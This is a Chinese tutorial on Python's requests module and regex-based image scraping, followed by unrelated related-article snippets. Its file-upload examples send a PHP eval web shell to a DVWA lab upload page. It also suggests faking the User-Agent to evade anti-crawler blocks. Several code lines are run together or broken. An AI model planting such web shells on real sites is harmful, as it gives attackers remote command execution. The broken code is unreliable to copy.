python requests模块的使用以及网页信息爬取

python requests模块的使用以及网页信息爬取

文章目录

  • python requests模块的使用以及网页信息爬取
  • 网页信息爬取
    • REQUEST模块
      • 模块中的请求方法
      • 请求方法中的参数
      • 响应对象中属性
    • 获取网站中的源代码
    • 获取图片地址
      • 匹配单个字符
      • 匹配一组字符
      • 其他元字符
      • 核心函数
    • 图片下载
  • requests 模块基本用法
      • 模拟浏览器指纹
      • 发送GET 参数
      • 发送post请求参数
      • 文件上传
      • 服务器超时
  • 案例
      • 网页图片爬取
      • requests 模块用法
        • 模拟浏览器指纹
        • 发送get 参数
        • 发送post 参数
        • 文件上传
        • 服务器超时

网页信息爬取

  • 获取网页内容;
  • 从网页内容中提取图片地址;
  • 通过图片地址,将图片下载到本地。

要想实现此功能需要有python模块来实现

REQUEST模块

requests 模块:主要是用来模拟浏览器行为,发送HTTP 请求,并处理HTTP 响应的功能

urllib2模块也可以实现request更接近人类

模块中的请求方法

请求方法说明
requests.get()GET 方法
requests.post()
requests.head()只返回响应头部,没有响应正文。
requests.options()
requests.put()
requests.delete()

请求方法中的参数

参数名字参数含义
url请求URL 地址
headers自定义请求头部
params发送GET 参数
data发送POST 参数
timeout请求延时
files文件上传数据流

响应对象中属性

方法名解释
response.text响应正文(文本方式)
response.content响应正文(二进制)
response.status_code响应状态码
response.url发送请求的URL 地址
response.headers响应头部
response.request.headers请求头部
response.cookiescookie 相关信息

关键字获取的内容信息

在这里插入图片描述

其中值得一提的是user-Agent是浏览器指纹,很多网站是禁止爬虫访问的,我们可以通过修改user-Agent来骗过服务器

获取网站中的源代码

import requestsurl=""
headers= {"User-Agent":""
} # 自定义浏览器指纹
def get_content(url,headers):res = requests.get(url = url,headers = headers) #传入url 和 自定义请求头部修改浏览器指纹return  res.content  # 获取网站内容
html = 	get_content(url,headers).decode() #因为是二进制文件需要解码

获取图片地址

想要实现此方法有两种方式

第一种: 正则表达式

想要用到python中的re模块

匹配单个字符

记号说明
.匹配任意单个字符(换行符除外). 表示真正的.
[…x-y…]匹配字符集合里的任意单个字符
[^…x-y…]匹配不在字符组里的任意单个字符
\d匹配任意数字,与[0-9] 同义
\w匹配任意数字、字母、下划线,与[0-9a-zA-Z_] 同义
\s匹配空白字符,与[\r\v\f\t\n] 同义

匹配一组字符

记号说明
字符串匹配字符串值
字符串1|字符串2匹配字符串1或字符串2
*左邻第一个字符出现0 次或无穷次
+左邻第一个字符最少出现1 次或无穷次
?左邻第一个字符出现0 次或1 次
{m,n}左邻第一个字符出现最少m 次最多n 次

其他元字符

记号说明
^匹配字符串的开始 集合取反
$匹配字符串的结尾
\b匹配单词的边界,单词包括\w 中的内容
()对字符串分组
\数字匹配已保存的子组

核心函数

核心函数说明
re.findall()在字符串中查找正则表达式的所有(非覆盖)出现;返回一个匹配对象的列表。
re.match()尝试用正则表达式模式从字符串的开头匹配 如果匹配成功,则返回一个匹配对象 否则返回None
re.search()在字符串中查找正则表达式模式的第一次出现 如果匹配成,则返回一个匹配对象 否则返回None
re.group()使用match 或者search 匹配成功后,返回的匹配对象 可以通过group() 方法获取得匹配内容
re.finditer()和findall() 函数有相同的功能,但返回的不是列表而是迭代器 对于每个匹配,该迭代器返回一个匹配对象
re.split()根据正则表达式中的分隔符把字符分割为一个列表,并返回成功匹配的列表字符串也有类似的方法,但是正则表达式更加灵活
re.sub()把字符串中所有匹配正则表达式的地方换成新的字符串
import re
def get_img_path(html)img_path = re.findall(r'style/\w*\.jpg')return img_path
img_path=img_path(html)

图片下载

def save_img(img_save_path, img_url):with open(img_save_path, "wb") as f:f.write(get_html(url = img_url))img_url = url + img_path
save_img("./images/1.jpg", img_url)

requests 模块基本用法

模拟浏览器指纹

headers= {"User-Agent":""
} # 自定义浏览器指纹
request.get(url="http://10.9.47.77/python-spider/",headers=headers) #请求时发送自定义指纹

发送GET 参数

params={"student":"xl","age": 22 ,
}
request.get(url="http://10.9.47.77/python-spider/",params=params) #以get方法向服务器发送请求

发送post请求参数

data={"student":"xl","age": 22 ,
}
request.post(url=""http://10.9.47.77/python-spider/"",data=data) #以get方法向服务器发送请求

文件上传

headers = {"User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36","Cookie": "security=low; PHPSESSID=378olurk9upvuo9sspecnl46c2"
}data = {"MAX_FILE_SIZE":    "100000","Upload":           "Upload"
}files = {"uploaded": ("2.php",b"<?php @eva1($_REQUEST[777])?>""image/png") 
}
res = requests.post(url ="http://10.4.7.130/dvwa_2.0.1/vulnerabilities/upload/", headers = headers, data = data, files = files)

服务器超时

def timeout(url):try:res = requests.get(url = url, timeout = 3)return res.textexcept requests.exceptions.ReadTimeout:return "timeout"print(timeout("http://10.4.7.130/php/functions/sleep.php"))

案例

网页图片爬取

import requests
import re
def get_html(url):headers = {"User Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.76"}return  requests.get(url=url, headers=headers).content
def get_image_path(html):image_path_list = re.findall("style/\w*\.jpg",html)return image_path_list
def download_image(image_path,url,save_src):for  path in image_path:src = url + pathprint(f"爬取成功{src}")image_name = input("请输入要保存的文件名字:")with open(save_src+image_name+".jpg", "wb") as f:f.write(get_html(src))url= input("请输入要爬取的网站:")
html=get_html(url).decode()
image_path=get_image_path(html)
save_src = input("请输入要保存的地址:")
download_image(image_path,url,save_src)

成果:
在这里插入图片描述

requests 模块用法

模拟浏览器指纹

在浏览器开发者模式console面板 输入navigator.userAgent查看浏览器指纹Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.76
在这里插入图片描述

import requestsresponse = requests.get(url="http://10.9.47.77/python-spider/",headers=
{"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.76"
})
print(response.request.headers)

结果:
在这里插入图片描述

发送get 参数

找一个能接收get参数的网页

import requestsresponse = requests.get(url="http://10.9.47.77/works/_GET.php",params={"name":"xl","age" : 22,
})
print (response.text)

在这里插入图片描述

发送post 参数
import requests
response = requests.post(url="http://10.9.47.77/works/_POST.php",data={"姓名" : "小洛","年龄" :  24,"兴趣" : "唱,跳,rap,打篮球"
})
print(response.content.decode("utf-8"))

在这里插入图片描述

文件上传
import requests
file_upload={"uploaded":('123.php',"<?php @eval($_REQUEST[777]?>)")
}
headers={"cookie":"security=low; PHPSESSID=svckqaulefuns35jkqj9u0ai27"
}
data={"MAX_FILE_SIZE":100000,"Upload": "Upload"
}
url="http://10.9.47.77/dvwa_2.0.1/vulnerabilities/upload/"
reponse=requests.post(url=url,headers=headers,data=data,files=file_upload)
print(reponse.text)

在这里插入图片描述

服务器超时
import requests
try:response=requests.get(url="http://10.9.47.77/works/sleep.php",timeout=2)except requests.exceptions.ReadTimeout:print("超时")
except Exception:print("网页无法访问")
else:print(response.text)
finally:print("脚本执行完成")

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/157593.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Servlet 上下文参数

7)Servlet上下文对象&#xff1a;ServletContext生活中的例子&#xff1a;张三和李四在不远处窃窃私语&#xff0c;并且频繁的对着你坏笑。你肯定会跑过去问&#xff1a;你们俩在聊什么&#xff1f;注意&#xff1a;此处的聊什么&#xff0c;其实就是你在咨询他们聊天的上下文&…

科技云报道:大模型会给操作系统带来什么样的想象?

科技云报道原创。 在人工智能的发展历程中&#xff0c;大模型的出现标志着一个里程碑。 特别是近年来&#xff0c;诸如GPT-4、BERT等大模型的出现&#xff0c;不仅在自然语言处理、图像识别等领域取得了令人瞩目的成就&#xff0c;还推动了人工智能技术向更广泛的应用场景拓展…

SRAM型FPGA空间应用的抗单粒子翻转

1 SRAM型FPGA内部结构 目前&#xff0c;SRAM 型 FPGA 在星载电子产品中应用较多的是Xilinx公司的FPGA。 图1所示为Xilinx系列FPGA器件的内部结构。从图中可以看出&#xff0c;FPGA内部由3 部分组成&#xff0c;分别为&#xff1a; 1&#xff09;用于实现用户逻辑的可编程阵…

C语言跟着郝斌学到指针,MDK搭建了,为什么越学越不懂?

今日话题&#xff0c;一学生说C语言跟着郝斌学到指针&#xff0c;MDK搭建了&#xff0c;为什么越学越不懂&#xff1f;在学习STM32时&#xff0c;熟练使用库函数是非常关键的一步。我最初使用了野火的教材&#xff0c;虽然内容详尽&#xff0c;但对于初学者来说可能显得有些冗长…

oracle如果不适用toad或者plsql工具如何获取索引建表语句

select dbms_lob.substr(dbms_metadata.get_ddl(INDEX,INDEX_NAME,DIXON))||; from dba_indexes where ownerDIXON这个语句可以获取dixon用户的所有索引创建语句&#xff0c;sql脚本形式呈现 点开一个语句查看 如果不使用dbms_lob.substr这个函数最后得到是一个clob selec…

TSINGSEE青犀景区AI智慧监管平台,赋能文旅行业高质量发展

一、背景需求分析 随着我国旅游经济的蓬勃发展&#xff0c;旅游行业逐渐成为国民经济增长的支柱性产业。“十四五”期间&#xff0c;国内旅游业将从高速增长阶段转向高质量发展阶段&#xff0c;与此同时&#xff0c;旅游景区的安全生产工作也迎来了新的挑战和需求。尤其是节假…

Madballs™ VoxEdit 海报大赛

让你的创造力更上一层楼。在全新的 VoxEdit 大赛中释放你们惊人的体素技能吧。 下载 VoxEdit 并开始创作&#xff1a;https://www.sandbox.game/en/create/vox-edit/ 主题&#xff1a; 我们希望您能创作一幅以万圣节为灵感的 Madballs™ 体素海报。无论是在 VoxEdit 中用万圣节…

二叉树题目:在二叉树中增加一行

文章目录 题目标题和出处难度题目描述要求示例数据范围 解法一思路和算法代码复杂度分析 解法二思路和算法代码复杂度分析 题目 标题和出处 标题&#xff1a;在二叉树中增加一行 出处&#xff1a;623. 在二叉树中增加一行 难度 5 级 题目描述 要求 给定一个二叉树的根结…

Django开发实例总结(入门级、4.2.6、详细)

目录 概述 Django的核心组件包括 Django的项目结构 创建工程&#xff08;4.2.6&#xff09; 实例一&#xff1a;Hello world 实例二&#xff1a;访问一个自定义主页 实例三&#xff1a;通过登录跳转到主页 实例四&#xff1a;主页添加静态文件&#xff0c;包含js、css、…

轻松部署Swagger Editor:安装Docker并实现远程访问编辑API文档

文章目录 Swagger Editor本地接口文档公网远程访问1. 部署Swagger Editor2. Linux安装Cpolar3. 配置Swagger Editor公网地址4. 远程访问Swagger Editor5. 固定Swagger Editor公网地址 Swagger Editor本地接口文档公网远程访问 Swagger Editor是一个用于编写OpenAPI规范的开源编…

矢量图编辑_Inkscape裁剪与蒙版

文章目录 一、简介二、示例三、裁剪 Clipping四、蒙版 Masking 一、简介 裁剪&#xff08;Clipping&#xff09; 和 蒙版/遮罩&#xff08;masking&#xff09; 是限制对象&#xff08;或对象组&#xff09;哪一部分可见的方法。对于裁剪&#xff0c; 裁剪路径&#xff08;cli…

一副耳机两种体验,好看好听降噪强,FIIL Key Pro上手

户外使用蓝牙耳机时&#xff0c;降噪功能真的是必不可少&#xff0c;特别是通勤高峰期&#xff0c;能有效隔绝周围的嘈杂声&#xff0c;对于上班族来说&#xff0c;真的会舒服很多。市场上有很多降噪耳机可供选择&#xff0c;相比于价格上千的发烧级装备&#xff0c;我更倾向于…